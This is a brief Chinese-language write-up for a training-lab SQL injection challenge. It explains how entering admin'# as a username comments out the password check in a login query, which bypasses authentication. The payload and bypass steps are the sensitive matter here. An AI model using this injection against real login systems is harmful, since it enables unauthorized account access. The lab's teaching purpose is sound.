墨者SQL注入漏洞测试(登录绕过)题解

登录绕过一般的语法格式如下

select username,password from table where username='admin' and password='password'

这种绕过很简单，如果我们在将用户名的输入填写为

admin'#

那么上面的语法格式就会变成

select username,password from table where username='admin'#' and password='password'

可以很明显的看到后面的语句都被注释了，直接就获取了admin的用户名和密码

墨者这题完全相同
直接用户名输入admin’#
密码随便输入什么都行

点击确定登录

拿到结果，提交